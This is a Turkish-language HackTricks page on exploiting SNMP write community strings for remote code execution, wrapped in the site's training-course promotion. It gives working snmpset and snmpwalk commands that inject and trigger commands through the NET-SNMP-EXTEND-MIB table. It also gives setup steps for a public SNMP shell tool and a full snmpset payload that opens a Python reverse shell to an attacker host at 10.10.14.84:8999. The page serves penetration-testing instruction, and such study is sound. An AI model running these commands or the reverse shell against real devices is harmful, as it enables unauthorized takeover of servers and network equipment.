tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
SNMP RCE
SNMP, bir saldırgan tarafından, yöneticinin cihaz veya sunucudaki varsayılan yapılandırmayı göz ardı etmesi durumunda istismar edilebilir. Yazma izinlerine sahip SNMP topluluğunu (rwcommunity) kötüye kullanarak, saldırgan sunucuda komutlar çalıştırabilir.
Ek Komutlarla Hizmetleri Genişletme
SNMP hizmetlerini genişletmek ve ek komutlar eklemek için, "nsExtendObjects" tablosuna yeni satırlar eklemek mümkündür. Bu, snmpset
komutunu kullanarak ve gerekli parametreleri, yürütülecek komut ve çalıştırılacak yürütülebilir dosyanın mutlak yolu da dahil olmak üzere, sağlayarak gerçekleştirilebilir:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
Komutların Çalıştırılması için Enjekte Edilmesi
SNMP hizmetinde çalıştırılacak komutların enjekte edilmesi, çağrılan ikili/dosyanın varlığını ve çalıştırılabilirliğini gerektirir. NET-SNMP-EXTEND-MIB
çalıştırılabilir dosyanın mutlak yolunu sağlamayı zorunlu kılar.
Enjekte edilen komutun çalıştırıldığını doğrulamak için snmpwalk
komutu SNMP hizmetini listelemek için kullanılabilir. çıktı, komutu ve ilişkili ayrıntılarını, mutlak yol da dahil olmak üzere gösterecektir:
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
Enjekte Edilen Komutların Çalıştırılması
Enjekte edilen komut okunduğunda, çalıştırılır. Bu davranış run-on-read()
olarak bilinir. Komutun yürütülmesi snmpwalk okuma sırasında gözlemlenebilir.
SNMP ile Sunucu Shell Elde Etme
Sunucu üzerinde kontrol sağlamak ve bir sunucu shell elde etmek için, mxrch tarafından geliştirilen bir python scripti https://github.com/mxrch/snmp-shell.git adresinden kullanılabilir.
Alternatif olarak, SNMP'ye belirli bir komut enjekte ederek manuel olarak bir ters shell oluşturulabilir. Snmpwalk tarafından tetiklenen bu komut, saldırganın makinesine bir ters shell bağlantısı kurarak kurban makinesi üzerinde kontrol sağlar. Bunu çalıştırmak için ön koşulları yükleyebilirsiniz:
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
Ya da bir ters kabuk:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
Referanslar
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.